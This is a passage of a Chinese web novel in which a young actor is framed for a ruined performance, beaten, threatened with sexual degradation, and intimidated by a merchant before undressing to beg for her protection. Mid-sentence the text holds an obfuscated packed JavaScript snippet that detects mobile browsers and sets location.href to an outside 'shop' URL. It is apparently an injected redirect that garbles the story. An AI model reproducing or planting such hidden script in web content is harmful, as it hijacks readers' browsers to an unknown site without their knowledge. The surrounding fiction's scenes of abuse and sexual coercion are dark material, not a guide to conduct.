上台前他是检查过台子,确保了台面干干净净的,这一颗钉子一定是哪个小戏子藏在戏服里带上来,趁机丢到自己脚下的。 崔棠很想回过头,揪着他们的领子问一问,到底为什么要和自己过不去,为何一定要把自己往死路里逼? 可他没有机会了。 台上已然乱了起来,扮演力士和宫侍的演员们急匆匆的一拥而上,乱七八糟的将他围起来,抬着他的胳膊,搬着他的腿,七嘴八舌的议论着。 台下刘卿文的脸色难看极了,弥勒佛一样的笑脸裂开一道缝隙,眯着眼,漏出阴测测的目光来。刘卿文将折扇收起,一掸长袍,起身倨傲的瞥着穆念白:“穆老板的诚意,刘某算是见识到了。” “既然穆老板心不真意不实,咱们今日这生意,还是免谈吧。” 她倒要看看,你穆念白还能靠谁傍上沈王这条金大腿。 鼎香楼的掌柜和连小楼见前面出了岔子,忙不迭的带着赔礼过来请罪告饶,刘卿文看也不看她们一眼,先抬手甩了掌 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连小楼被刘卿文当胸踹了一脚,声音都打颤:“刘老板,刘老板,这孩子久不登台,又生着病,您大人不记小人过,饶过他这一回,您心善放他一条生路,他以后一定当牛做马伺候您。” 从连小楼恐惧的话语中,崔棠意识到——刘卿文刚才的那句话,也许并不是玩笑。 崔棠感觉有一道阴冷的视线紧紧的贴在自己身上,像冰冷的蛇在自己的皮肤攀行,片刻后,他听见刘卿文轻轻笑了笑,对自己下了判决。 “当牛做马?好啊。” “三天之内让他自己洗干净,光着身子像狗一样从鼎香楼爬到刘府门前向我磕头认罪。”刘卿文说着,用折扇末端轻佻的挑起崔棠的下巴,迫使他抬起头仰视自己,刘卿文摁着他嘴上的口脂,重重的向旁边拉扯,崔棠的脸上霎时泛起一抹红痕,刘卿文的声音还是轻飘飘的:“我就看在这张脸的份上饶过你们,怎么样?” 崔棠感到一阵恶寒,刘卿文用折扇拍了拍他的脸颊:“小美人,咱们不见不散。” 而后她又看向环抱双臂在一旁做壁上观的穆念白,笑呵呵道:“砸了穆老板的场子,穆老板莫怪罪。” 穆念白仍旧是坦然自若的样子,闻言也是笑着应答:“能博姐姐一笑,也是这些俗物的福气,今日是穆某失礼,改日再给刘姐姐赔罪。” 穆念白笑着将刘卿文送出鼎香楼,而后挽起袖子折返回来善后,她脸上早就没了笑容,幽深的眼睛盯着地上跪成一团的人看。 “各位真是给了我一个惊喜啊。” 崔棠已然没了性命之忧,连小楼便旧态复萌,连踢带踹的斥骂着崔棠,让他跪到穆念白跟前请罪,“今日全怪这小王八蛋自作主张,要打要罚随您高兴。” 穆念白居高临下,淡淡瞥崔棠一眼,也许是因为失血,也许是因为害怕,他苍白的脸无论荼了多重的胭脂都遮不住,那双灵动的眼睛失去了神采,深秋的湖水一样死气沉沉的,瘦骨嶙峋的身体上只裹着一层单薄的,血迹斑斑的里衣,领口大开,胸口雪白的皮肉无遮无拦的裸露着。他似乎已经麻木了,被穆念白看光了上身也浑然不知,只顶着满头的血污,瞪着眼,怔怔的看着地上。 连小楼还要再打崔棠,穆念白挥手制止了,“我犯的上跟他置气。”她加重语气,盯着连小楼:“事到如今,就是把你们都打死也没有半点用处,刘卿文是什么东西我也清楚,今天的事我不多追究,我只要你给我一个交代。” “否则,别说是宝家班,就是扬州城衙门,穆某也砸得起。” 穆念白向后看了一眼嘉禾,嘉禾会意取出两张一百两的银票来,穆念白平淡道:“姓刘的下手没轻重,这点银子拿去看病治伤吧。”她又看向连小楼,强调道:“连小楼,来龙去脉务必给我查清楚,别让我上门请你。” 连小楼自然迭声应是,穆念白又让嘉禾叫了几个伙计过来帮忙收拾满地的狼藉,帮佣们抬着大大小小的物件进进出出,崔棠却像是被外界隔绝了一样,一动不动的跪在地上,宝家班的人三三两两的散在角落里,神色各异的偷偷打量着崔棠。 宝家班那么多人,却没有一个人愿意扶一把崔棠。 也许在他们眼里,崔棠的命运已成定数——要么变成刘卿文家中一件美丽又残忍的挂饰,要么变成刘卿文身下一条美丽又温驯的狗。 总而言之,他已经当不成人了。 穆念白对这个害自己损失了许多银子的小男人已经失去了兴趣,漂亮的蠢货是世界上最短命的东西。 她看了崔棠几眼,无趣的收回眼神,见鼎香楼已经恢复如初,便吩咐嘉禾套车准备回去。 隔着窗户的幕帘,嘉禾悄声问穆念白:“小姐,那个崔棠……我瞧着他怪可怜的,姓刘的是个禽兽,难道真要看着他遭殃吗?“ 穆念白轻哼一声:“你可怜他不如可怜可怜我,今日闹这一出,几万两银子都弥补不了,他自己选的路,咎由自取罢了。” 嘉禾还想再说什么,听见穆念白冷声道:“不中用的东西,让他自求多福吧。” 4. 背锅的小外室 府中还有许多琐事要料理,穆念白挥挥手,示意嘉禾回府,车妇扬鞭时,斜里忽然撞过来一团灰色的人影,脚步虚浮,面色灰败,看上去行将就木,虚弱将死。他竭尽全力,冲破众人的阻拦,差点一头撞死在穆念白的马车上,他扑通一声跪倒在马车前,声音嘶哑的哭泣起来。 穆念白探手撩起帘子,定神看清那个人形——是谭秋童。 宝家班的台柱子,自然也是容貌秀丽身姿绰约,只是如今全被药毁了,面如金纸,神色萎靡,浑身竟不见一丝血色。 他的嗓子也废了,公鸭一样难以入耳,穆念白皱着眉听了一会,终于听清了他血泪具下的控诉。 “三小姐,是奴不中用,是奴不小心着了别人的道,可是三小姐,三小姐您要为奴作主啊!” “崔棠把药下在点心里,把奴害成这样,还坏了三小姐的好事,三小姐岂可轻易饶过他?!” 穆念白盯着谭秋童破败的神色看了一会,嗤笑一声,问:“你也觉得是崔棠做的?” 谭秋童一愣,他吃了崔棠送来的点心就开始上吐下泻,呕血眩晕,四肢无力,又见崔棠得意登台,自然顺理成章的觉得今日的主谋是他,他压下喉间的血腥味,坚定道:“不是他,还能是谁?!” 穆念白抬眸,看向鼎香楼中来来往往的戏子们,轻笑:“自然谁得利最多,就是谁动的手了。” 她不再理会,叫来嘉禾:“嘉禾,包五十两银子给他,再给他请个大夫好好瞧瞧身上。”穆念白转向谭秋童,上下打量他几眼,平淡道:“戏,你是唱不了了,城北胭脂铺子里缺个侍弄花草香料的人,一个月一两银子,包你吃住,比不得你如今过的奢华靡费,到底是个容身之所。” 谭秋童纠结地咬着嘴唇,穆念白赏识他,不过是因为曾经的他对穆念白是有用之人,如今自己没用了,穆念白还愿意大发慈悲,给自己这样卑贱之人一条后路,他实在不该再有什么怨言了,唯一要恨的,就是那个把自己推入地狱的... 崔棠! 谭秋童在心里恶狠狠的骂着这个名字,尽管穆念白似乎话中有话,暗指今日真凶另有其人,可谭秋童正事气血翻涌的时候,哪里管得了这许多,他将怨恨都藏在心底,面上只恭敬的向穆念白磕了个头,感激道:“三小姐,奴愿意,能得三小姐庇佑,是奴的福气。” 谭秋童哭了这一场,本就疲惫虚弱的身子再也撑不住,被小厮们搀扶着下去吃药休息了,嘉禾悄悄小声问:“三小姐,您觉得谭秋童说的对吗?” 穆念白看她一眼,轻笑:“未必。” 这一会功夫,她已经将事猜了个大概。 为着迎来送往的需要,扬州城里的豪商大多豢养戏子以备不时之需,以鼎香楼的宝家班为例,穆念白私下与当家的男戏子谭秋童往来甚密,今日这种场合,往往都是谭秋童登台献艺,谭秋童为人处世虽然倨傲刻薄,欺下媚上,但至少从未出过差错。 穆念白叹了一口气,掀起帘子向嘉禾吩咐:“晚上包点山参鹿茸送到谭秋童那去罢,到底是为我办了这些年的事,不能叫他心寒。” 她与谭秋童私下交好,宝家班中另一位声名鹊起的戏子梅卿又与谢家掌门人过从亲密,至于刘卿文就更不必说,宝家班上下哪个没和她大被同眠过?这些男戏子长袖善舞,与豪商都有着或多或少的联系,也许自己想和刘卿文合作的消息,旁人也许早就知晓了。 穆念白设身处地的一想,自觉自己若是那些虎视眈眈的人,定然也不愿见到穆、刘两家联手,只是碍于情面,不好明面上作梗罢了。 恰巧那些咿咿呀呀的小男人又都是肚量狭小,最好争风吃醋的,趁机一拍而合,既遂了旁人的心意,又趁势除去一个炙手可热的对手,岂不是一桩一举两得的美事? 崔棠没头苍蝇一样傻乎乎的撞进这张天罗地网上,自然而然被推上戏台,成了背黑锅的炮灰。 他是真无辜还是自作孽穆念白已经没兴趣继续猜测了,一个除了漂亮别无他用的蠢东西,还不值得她费心思。 ...... 崔棠不知道自己在满地的碎瓷片里跪了多久,他回神时整个人已经扑倒在地板上了,四周昏沉沉的,外面斜阳似火,像一只凤凰,拖着金红的尾羽坠向天边,火红的云霞笼罩着扬州城,整个扬州仿佛都要燃烧起来了一样。 崔棠侧脸贴着地板,对身上汩汩流出的鲜血浑然不觉,他静静的望着门外的云霞,近乎贪婪的看着。 ——这样好的风景,也许这辈子都看不到了。 谭秋童不知道什么时候站到了他的身边,居高临下,像看阴沟里的老鼠一样看着他,用脚尖踢着他的面颊,谭秋童手里端了一支木盆,没等崔棠反应过来,谭秋童就将那盆东西铺天盖地的倾倒了下来。 腥臭酸腐的味道水草一样将崔棠紧紧缠绕起来,泔水的臭气塞满了口腔鼻腔,脸上身上的伤口被咸水津渍着,刀割一样疼。 崔棠捂着胸口,干呕起来,他硬撑了这么久,这一刻再也撑不住了,委屈的泪珠大颗大颗的顺着脸颊滚落下来。 谭秋童扯着他的头发把他薅起来,抬膝重重顶在崔棠肚腹上,顶的崔棠将胃液都吐了出来,谭秋童扯着他的头发不放手,凶狠的骂:“你把我害成这个鬼样子,你还有脸哭!你个贱人,脏货,被人玩烂的臭货,你活该被姓刘的玩死。” 崔棠挣扎着,拽着他的手腕,一把推开他,他颤颤巍巍的吸气,将满腔的委屈苦涩吞进腹里。强忍着不哭,睁大眼睛同样凶狠的瞪回去:“把你害成这样的根本就不是我!你有功夫在这发疯,怎么不想想平时得罪了多少人?!” 崔棠强忍着眼眶的酸涩,大颗的泪珠酝酿在他盈盈的眼眸中,被纤长浓黑的下睫毛虚虚拦住,崔棠伸手,挨个和谭秋童掰扯。 “你抢了梅卿多少次客人,和人设局把黄师姐骗得血本无归...你怎么不怀疑她们!” 谭秋童却不和他多费口舌,冷笑着扬长而去:“你这张巧嘴,还是留给姓刘的享用吧,我不和死人说话,多晦气。” 崔棠被他泼了一身泔水,却无可奈何,只能眼睁睁的看着他离开,忍着浑身的病痛,拖着肿胀发青的伤腿,一点点挪到院中水井边上,打了半桶水,他双手脱力,勉强打上来的半桶水也洒了大半在他身上,晚风一吹,寒津津的。 崔棠打着哆嗦,不知道是因为水凉,还是因为自己发烧了。 他用汗巾浸了水拧干,慢吞吞的擦去身上的血污与酸臭的泔水,天马上就要黑了,他得在宵禁之前赶回家里才行。 只有回了那个容身之所,他才能安稳的躺下来,好好的想一想今后怎么办。 崔棠在宝家班孤立无援,来来往往的人都笑嘻嘻的看着他在冷风里擦身子,自称染了风寒的梅卿吃了药已经好了,正在二楼上,倚着窗户嗑瓜子,嘟着嘴,噗地一声把瓜子壳吐到崔棠脚边来。 崔棠抬头看了他一眼,心中泛起个奇怪的想法,梅卿吃的药,真是药到病除,这才多少工夫,他已经面色红润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282207|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能跑能跳了。 连小楼抱着胳膊,站在一边神色难明的看着他,不无感慨:“你说说你,若早从了我,哪里会生这样的是非?” “你看看谭秋童梅卿,哪个不是身价千金,吃香喝辣?就你死倔,如今倒好,直接落到刘卿文手里了,还不如跟着我,至少我介绍给你的,都是温柔风流的女郎啊!” 崔棠麻木的搓着身上的污渍,心中有些迷茫,他知道连小楼说的是无稽之谈,可他没有什么能够反驳的。 崔棠只能木着脸,哑着嗓子,小声说:“是崔棠不懂事,多谢班主这些年的教导,日后恐怕再也见不到您了。” 连小楼看着他,那张油滑、伪善的脸上终于露出一点不忍,她也是从小戏子一路摸爬滚打走到今日的,自诩这种事见得太多,早已经麻木了,可事到眼前,到底还是揪心。 ——是个人就不忍心看别人去死,崔棠虽然处处和自己作对,不肯陪酒让自己损失了许多钱,但自己教了他这些年,打了他这些年,终究是做不到无动于衷的。 连小楼叹了口气,沉吟:“到底你是我买进来的人,如今看你遭难,我心里也不好受。” “能让刘卿文改变想法的,也许只有穆念白...我听说她如今自己在城西的永安巷子里住。” 连小楼神色复杂的看着崔棠一眼,意有所指的指了指他脸上的淤血,含糊道:“我无能为力,你自己想想办法,自求多福吧...欸。” 崔棠自然明白她话中未尽之意——这一身好皮囊,既然迟早要用,不如用在最要紧的时候。 崔棠本就苍白的脸愈发没有血色——兜兜转转绕了这么大一圈,最后还是要走到这一步。 这岂不正应了连小楼的那句话,若早从了她,哪还会有今天的事? 崔棠咬着嘴唇,苦涩的笑着,谢过连小楼仅存的善意:“多谢班主。” 他擦完了身子,再凛冽寒风中打着摆子艰难的站起来,这里没有他的容身之所,他得回家去。 连小楼看着他单薄的身躯在暮色下落叶一样萧瑟,皱着眉叫住了他:“我那剩下几副治风寒的药,你拿着,吃了再想办法。” 夜色渐浓,崔棠怀里揣着药,在黑暗里摸索着跌跌撞撞的往家走,他的眼睛一到夜里就看不清,这几年更是愈发严重,他几乎卡着点,在宵禁之前跌进了那间阴冷潮湿的窝棚。 崔棣还被扣押在学堂里,屋里冷锅冷灶冷床冷榻,矮几上还剩一小节蜡烛,是崔棣上回从学堂里顺回来的,崔棣从角落里抠出火石,点燃蜡烛,微弱的橘光跃然在墙上,让钉在墙壁上的那件血衣看上去愈发可怖。 崔棠一颗心几乎要被这件红褐色的粗布麻衣吓得跳出来,他深吸几口气,方才伸出颤抖的手,将那件短打吃力的扯下来。 是崔棣穿去学堂的那件衣服,不昂贵,但已经是这个家里少有的体面,如今沾满干涸的血迹,像是某种无声的嗤笑。 崔棠将鼻尖贴在上面,仔细辨认着那是什么动物的血迹,衣服正中央有几道用利器割开的裂痕,崔棠的心凉了一半。 他缓缓将血衣搁在矮几上,弯下腰,抱着脑袋,痛苦的伏在血衣上。 两颗咸涩的泪珠挣扎着滚落到他的唇边,他吸着鼻子舔了一口。 苦、涩、酸、辣,所有他无法忍受的味道仿佛都藏在了里面。 崔棠侧过脑袋,静静盯着明灭不定的烛火。 连小楼说,穆念白住在哪来着? 永安...巷子? 5. 求饶的小外室 崔棠不知道这一宿自己是怎么熬过来的。 连小楼给他的药不知道已经放了多久,勉强煎出来也有股久久不能消散的腐朽霉味,崔棠不指望它有多少药效,不过是求个聊胜于无的安慰,半壶热水灌进肚里,崔棠总算找回几分活着的感觉。 崔棣留下的半截蜡烛快要燃尽了,灯火如豆,崔棠借着昏暗的烛光,对着镜子,用沾了井水的冰凉汗巾仔细地敷着脸上红肿的地方——他正发着烧,滚烫的皮肤贴上冰冷的布料,冰火两重天,地狱一样。 崔棠一边仔细观察着镜中自己的容貌,一边心乱如麻的思索着明日的办法。 街头巷尾都说穆念白与穆家本家不睦,平日从来不回穆家大宅,只回自己在永安巷子里安置的宅院住。 崔棠想,穆念白那样的豪商,日理万机,白日里是一定会出门的,他虽不知道穆念白喜欢何时出门,也不知道她何时回府。但他知道,穆念白没有喜好眠花宿柳的传闻,他也没听说穆念白在外面有哪个相好的郎君,所以明日宵禁之前,穆念白是一定会回永安巷子的。 ——那将是他唯一的机会。 崔棠抱着这样的想法,将自己疲惫不堪的身子扔到榻上,紧紧搂住潮湿发霉的薄被,攫取着仅有的温度。他在心里默默祈祷着,老天啊老天,明日请让我好起来,至少撑过这一天,哪怕往后让我遭百倍千倍的罪我也愿意。 他做了一夜的噩梦,有时梦见幼时因为唱错了音,被连小楼吊在房梁上,一边挨打一边哆哆嗦嗦的唱曲,有时梦见因为劈不下叉,被师姐们紧锁着脚腕,不要命的向外掰,有时候又会梦见刘卿文那张弥勒佛一样的脸,长在一条巨蟒的身子上,对着他,咧开嘴,露出一张血淋淋、阴森森的大口。 还会梦见穆念白,逆着光,居高临下的站在自己面前,身形英武,形容冷峻,看上去像一尊不容亵渎的天神像。 自己跪在地上,看不清她背着光的面容,只记得她慢慢睁开眼,施舍一样漏下冰冷漠然的一瞥。 崔棠悚然一惊,急促的喘吸着从梦中惊醒,一摸身下,被褥已经被冷汗浸湿了。 窗外天已大亮,刺眼的光芒穿破薄薄一层窗纸,直直的扎进崔棠琥珀色的瞳仁里,一阵刺痛将恍惚的崔棠从令人窒息的噩梦中拽回现实。 崔棠摩挲着翻下床,跌坐在铜镜前心急火燎的查看着自己脸上的伤,红肿已经消散了很多,只剩下几道血口子,红艳艳的很是吓人。崔棠又是一阵摸索,从妆奁匣子里摸出一盒雪白的妆粉,将脸上的伤口都盖住,昨日的衣裳是穿不成了,他翻箱倒柜,终于找出一身说得过去的衣衫来。 一身绛色的纱衫,原本是夏时的衣服,如今穿还有些凉,好在一袭薄纱松松垮垮的拢在身上,既遮住身上的青紫,又恰到好处的,似有似无的透出几分瓷白的肉色来。 崔棠对镜端详片刻,取出一条黑布缠在腰间勒紧,像落在红梅之间的一笔浓墨,勾勒出他柳条一样的纤瘦腰肢。 他腿脚还不太方便,慢吞吞的挪到永安巷子时已经是下午了。 一条宽阔得容得下四驾马车并行的永安巷子,一分为二,北边是穆念白的宅邸,碧瓦飞甍,雕梁画栋,朱漆大门两侧高悬两盏价值不菲的琉璃灯,在日光下反射着七彩的流光。南面是穆念白名下的园林,亭台水榭,小山楼阁,海棠朱槿伸出朱红院墙,在碧空之下争奇斗艳。 崔棠几乎是瞠目结舌地望着这个富丽堂皇的崭新世界,只觉得自己彷佛身在梦中。 穆念白是新贵,府中人丁不旺,许多琐事都是雇了外面的人来做。崔棠来的时候,正有一行年轻男子做完了活计,三三两两的从侧面小门里出来,说说笑笑的,打趣着从管家手里讨赏。 出来的管家是个慈眉善目的中年女人,手里抓了一捧碎银子,笑眯眯的分给那些叽叽喳喳,麻雀一样的小男孩们。崔棠悄悄躲在暗处,远远的观察着管家,她一身暗色布衣,不施粉黛,不饰珠钗,看上去和她的主人一样,一点不张扬。 可出手赏人时却十分大方。 崔棠听见那些男孩都恭恭敬敬的叫她“刘管家”。 有小男孩像只小蜜蜂一样绕着刘管家转来转去,满脸堆笑的恭维:“管家姐姐心地真好,我们不过帮着整理了花园里的花草,就给了我们这么赏钱,这都我们家够买半月的米粮了!” 刘管家还是笑眯眯的:“都是三小姐心善,记挂着你们娘爹曾为穆家吃过苦受过累,特意嘱咐了我,不能苛待了有功之人。” 男孩们小声欢呼起来,连声感谢穆念白的宽仁大方。 人人都说她心善,可崔棠怎么也忘不了鼎香楼里她向自己投来的那一瞥。 冰冷又无情,像在看某种不值钱的死物。 ——若真是心善,怎么会有那样冰一样的眼神。 有个小男孩发现了躲在墙角的他,也许是震惊于他的容貌,也许是好奇他身上火一样的纱衣,小男孩惊奇的叫喊了起来:“你们瞧,这个哥哥穿的好少啊!” 张管家的眼神扫过来,上下审视他几番,最后目光在他瓷白的面容和半透的纱衣上停留片刻,心领神会的微笑,那双和气的眼睛中也露出几分藏不住的鄙薄。 “郎君瞧着倒是眼生,看郎君细皮嫩肉,花枝招展的样子,恐怕我们穆宅里也没有适合郎君的差事。” 崔棠上前几步,有微风拂过,撩起他身上轻薄的红纱,雪白的皮肉露出来,这才是真正的满园春色关不住。 张管家的神情冷下来:“三小姐可不曾认识郎君这样的妖精。” 这一会功夫,周围已经围了许多看热闹的人,张管家沉着脸,过来作势要将崔棠撵走,穆念白年轻多金,她见多了仗着有几分几分姿色就异想天开的男人。 那些人滚烫的目光聚集在他的身上,像火一样炙烤着他。崔棠咬着嘴唇,索性将心一横,撩起衣衫,直直的跪倒在穆府肃穆的朱漆大门跟前,他抬头看着众人,神色坚定,目光清明,不见半分媚态,朗朗开口。 “张管家,小人不是那种攀龙附凤的人,小人今日来,是特意来向穆三小姐请罪的。” 他恭顺的将纤细的脖颈弯下去,将额头贴在坚硬的地面上,对着穆府大门磕了个头,而后他直起身,挺直了腰,像一把竹子一样端端正正,一动不动的跪着。 他不卑不亢的看着所有人,心中顶着一口气,故作镇定的解释。 “小人前日坏了穆三小姐的好事,害三小姐损失了许多银子,三小姐虽然心软慈悲,并没有追究小人的过失,可小人怎能因为三小姐的慈悲就不知好歹?所以特来向三小姐请罪,请三小姐责罚。” 张管家只料理内宅,并不插手穆念白在外面的生意,听了这话,心中便有些犹豫,这男子虽貌美,但被自己言语冒犯也不见愠恼,行事看起来也端庄持重,似乎确实不是那种烟视媚行、狐媚勾引的男人。 崔棠趁势,继续高声解释:“小人知道,三小姐是菩萨一样的人,是扬州城里最心善的人,三小姐不忍心为难小人,小人却不能狼心狗肺,辜负了三小姐的善心,所以特意来向三小姐请罪,只有求得三小姐的宽恕,小人才能安心。” 春寒料峭,他风寒未愈,皮肤被凛冽的寒风吹得苍白,嘴唇被冻得青紫,跪在地上,打起寒颤来。 围观的男孩们就有些不忍,鸟雀一样叽叽喳喳的劝他:“你这是何苦呢?三小姐那么好的人,怎么会责怪你呢?” “你跪在这,若是跪坏了身子,岂不成了三小姐的罪过?” 张管家沉声咳嗽一声,鸟雀叽喳的声音霎时消散了,张管家盯着崔棠单薄却笔直的身躯看了一会,清了清嗓子,语重心长道:“三小姐出门谈生意去了,郎君改日再来罢。” 崔棠仰头看着她,眼神真挚诚恳:“纵然三小姐不在,小人也不能不识好歹,小人是诚心赔罪,小人跪在三小姐门前,就是跪在三小姐面前,三小姐何时叫小人起,小人何时再起。” 时光如流水,点点滴滴的逝去,太阳从崔棠头顶,拖着凤凰一样的尾羽,将大半天幕都染的火红。 他 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他像一只小鸟,裹着一身火红的羽毛,俏生生的跪在那。寒冷的晚风将他吹得颤抖不停,可他还是执着的,一次又一次的勉强直起腰,对着自己家的大门,端端正正的跪着,修竹一般高洁挺拔。 围观的人见了穆念白,自动为她让开一条路,让她能走到崔棠身前。 玄色的衣裙出现在崔棠的眼前,墨色的绸缎上浮着精致的团云暗纹,雪后松木一般的冷香萦绕在他的鼻尖,他颤抖着抬起头,对上穆念白的眼睛。 一双摄人心魄的凤目,一对沉如深潭的瞳仁,正居高临下,冷冷的睥睨着他。 崔棠伸出苍白失血的指尖,惶恐的跪伏下去,他的额头磕在地上,修长指尖交叠,乖顺又恭敬的抚摸着穆念白的裙角。 穆念白神色不善的看向张管家,张管家贴在她的耳边,低声耳语几句,围观的人们也上前为崔棠说项。 “三小姐,他在这跪了一下午,可见心诚。” “是呀是呀,三小姐,您心善,何苦揪着他这么一个小男人不放呢?” 穆念白听着这些话,看向崔棠的眼神越来越冷。 呵,穆念白在心中冷笑。 自告奋勇,闯了祸,坏了事,害自己赔了钱,又不想付出代价,不想被刘卿文糟践,却到自己这来耍这些心机。 楚楚可怜的跪在这,惹得其他人怜惜,还要借她们的势,来胁迫自己。 看着这些诚诚恳恳为他陈情的人,把自己捧得菩萨一样,若自己真的不依不挠,岂不就成了冷酷残忍,不通人情之辈? 她在扬州城搅弄风雨这些年,已经很久没有见过这么胆大包天不怕死的蠢货了。 穆念白勾着嘴角笑着,从张管家手里接过柔软温暖的狐裘,温柔地披在崔棠颤抖的肩膀上,她伸出手,紧紧锁住崔棠纤细的,藕段一样的手腕,在洁白细腻的皮肉上留下几道青紫的指印。 她的眼中分明全是笑意,可崔棠看在心里,只觉得冰冷。 穆念白温柔的盯着他的眼睛,笑吟吟道:“我怎么会怪罪你呢?” “这样纯善的人,我应当奉为座上宾才是。” 她托着崔棠的手腕,强硬的将他从地上拉拽起来,一边轻柔的为他拍打去身上的尘土,一边不由分说的拉着他进了府门。 “你跪了这么久,定然疲累极了,穆某岂能叫旁人为己受累,且进府来喝上几杯热茶,歇息片刻再走。” 她扭过头,吩咐张管家:“夜深露重,大家聚在这里等候也不易,去备上茶水点心,好生招待大伙。” 为他说项的人轻而易举的被茶水和点心引诱走了,穆念白笑眯眯的,在暗处用力,紧紧捏着崔棠的手腕,断骨一样的疼痛将崔棠逼得流出泪来,穆念白面上仍旧是云淡风轻的样子,甚至侧过头,和善又亲热的笑着。 “郎君这样聪慧的男人,穆某得好好款待一番才是。” 6. 勾引的小外室 厚重的朱漆大门在他身后缓缓闭合,发出一声沉闷的响声,天光已经完全暗淡了下来,穆念白从嘉禾手中接过烛台,红烛明灭摇曳的火光闪烁在她凌厉的面容上,她虚虚浮在脸上的笑意完全冷了下来,半张脸隐没在阴影中,居高临下,面无表情的看着抖做一团的崔棠。 崔棠渐渐意识到,他又把一切都搞砸了。 穆念白并不是一个能够被别人轻易改变的人,他那些伪装与矫饰在穆念白眼中浅薄得不值一提,哪怕自己费劲心思打动了张管家,打动了围观的所有人,穆念白也能四两拨千斤,轻悄悄的化解一切。 自己那点心机,在这个纵横扬州城商场多年的豪商巨贾眼里,简直和三岁稚童调皮的玩笑一样。 唯一的区别,便是没有人会因为三岁稚童的玩笑动怒,可穆念白脸上的冷意正明明白白的告诉崔棠—— 她生气了。 夜晚的冷霜落在他的身上,崔棠狼狈地裹紧身上的纱衣,打着寒颤。 穆念白的话轻飘飘的落在他身上:“你知道上一个这么威胁我的人怎么样了吗?” 崔棠惶恐的摇着头,他不想知道。 穆念白举着烛台靠近他,橙红的火苗跳进崔棠漆黑的瞳仁里,穆念白捏起他的下巴,冷笑着欣赏着他眼中的无助与恐惧。 炽热的火焰近在眼前,烧灼着自己娇嫩的皮肉,长发被炙烤得卷曲,又被汗浸湿,紧紧贴在他苍白的脸颊上。 直到崔棠在恐惧之下将苍白的嘴唇咬得血肉模糊,穆念白才满意的收回眼神,语气平淡得像在说今天吃什么。 “有泼皮在她家里放了一把火,真是奇怪,平日里那么清醒的人,喝了点酒,竟昏沉得醒不过来,硬生生的被烧成了一块焦炭。” 说着,她捉住一只飞蛾,捏着它的翅膀,将它放到烛火之中,静静看着它被火舌吞噬殆尽,徒劳地挣扎着,最后化作一滩焦黑的灰烬。 穆念白又将烛台靠近崔棠几分,平静道:“就像这只飞蛾一样。” 她冷淡地看着崔棠,意有所指地问:“你也想试试吗?” 毫无温度的话语落在崔棠耳朵里,他腿脚一软,扑通跪倒在穆念白身前,崔棠伸出手,颤抖着揪住她身上华美昂贵的衣裙,揪出一道道褶皱。 他狼狈的趴在地上的尘土中,努力抬着脸,两行清亮的泪水顺着他白雪一样的皮肉滑下来,崔棠颤抖着,卑微的恳求穆念白。 “三小姐,奴不是故意的,奴不是有心的...求您,求您给奴一条生路...” 美人的泪珠钻石一样,在烛火下闪烁着晶莹的光泽。 崔棠哭得梨花带雨,楚楚可怜,就是神仙来了都要叹一句我见犹怜。 穆念白无动于衷,将他撂在身后,随着她往里走,仆妇们鱼贯而上,娴熟的为她脱下长裙,褪下钗环,换上一身柔软服帖的绸缎里衣。 仆妇们静悄悄的做着手中的事,没有人在意崔棠,仿佛他是一件死物。 穆念白挽着长发,侧过身冷眼看着他,反问。 “你不是有心的?” “往谭秋童的点心里下泻药,搞砸我的生意,跪在我家门装哭卖惨...这些难道都不是有心的?” 她用一根白玉钗簪住长发,嗤笑一声,看向崔棠,语气轻慢:“哦,我知道,你是故意不小心的。” 崔棠一张俏脸惨白,眼见穆念白就要走到屋里,他顾不得膝盖的肿胀酸痛,急忙膝行向前,追在穆念白身后。 庭院里铺了青砖,粗粝的缝隙只隔一层轻纱,钝刀子割肉一样折磨他娇嫩的皮肤。 他哭求着向前,沙砾割破皮肤,在青石上拖出两条刺目的血痕。 他跪着,一级级的爬上台阶,指尖紧紧扒着门框,牙齿因为颤抖磕绊在一起,发出细碎的呻吟声。 他近乎哀求看向穆念白,卑微的为自己分辨:“奴不是有心坏三小姐好事...是有人往台上扔了钉子...” 穆念白坐在正中的太师椅上,端着茶盏,平静的打断他:“你不是有心,就让我损失几万两,若你有心,岂不是我大半的身家都要折在你手里?” 崔棠出来了,穆念白对他,就是个铁石心肠的人,不会分半点慈悲心肠在他身上。 想来也正常,他辩解再多,也掩饰不了自己塌台坏她好事和今日跪在她门前,用名声要挟她的事实。 崔棠咬着嘴唇,摩挲着身上的纱衣,穆念白还在好整以暇的品着茶,看笑话一样看着自己。 崔棠将心一横,不再解释,一边哀哀戚戚地哭,一边跪行到穆念白脚下,将脸颊细腻均匀的肌肤贴在她的腿侧,眼尾微挑,用一双水光粼粼的秋瞳,含羞带怯的瞧着穆念白。 崔棠伸出颤抖的手,缓缓解开腰带,然后是衣衫的系带,松松垮垮的暗红色纱衣垂落在他的脚下,堆叠在地上。 他浑身上下,只剩一条亵裤,跳动的烛光勾勒出他臀腿间漂亮勾人的形状,胸腹间雪白的皮肉更是在烛火的照耀下莹润如白瓷。 灯下观美人,果然更添几分风韵。 他挺着胸膛,贴在穆念白膝上,佯装成熟,低声引诱她。 “三小姐,奴知道,奴做的错事,奴拼了命也应该弥补...”他羞怯的别过通红的脸,颤声说:“可奴身无长物,奴...奴愿凭三小姐处置...但求三小姐垂怜...不要把奴送给刘卿文。” 穆念白无动于衷,冷眼瞧着他脱衣服摸胸膛,捻着指尖嗤笑:“弥补?你少说害我损失几万两,你这身肉就算都剐下来,论斤卖能卖多少钱?” “扬州城头等的伎子,梳拢也花不了几千两,你倒贪心,这样一身皮肉就要抵万两。” 崔棠被她说的脸上一阵青白,只能像动物一样柔顺的用脸颊蹭着穆念白的腿侧,一边发抖一边努力挑眉看她,温温柔柔地勾引。 “若三小姐肯垂怜奴,奴任凭三小姐处置...不管三小姐做什么,奴都高兴。” 这只小鸟瑟缩着,努力的展示着自己漂亮的羽毛。 崔棠将衣服褪得更低,直到大片雪白裸露在穆念白眼前,穆念白才终于有了几分兴致,将茶盏搁在桌上,上下打量崔棠几番。 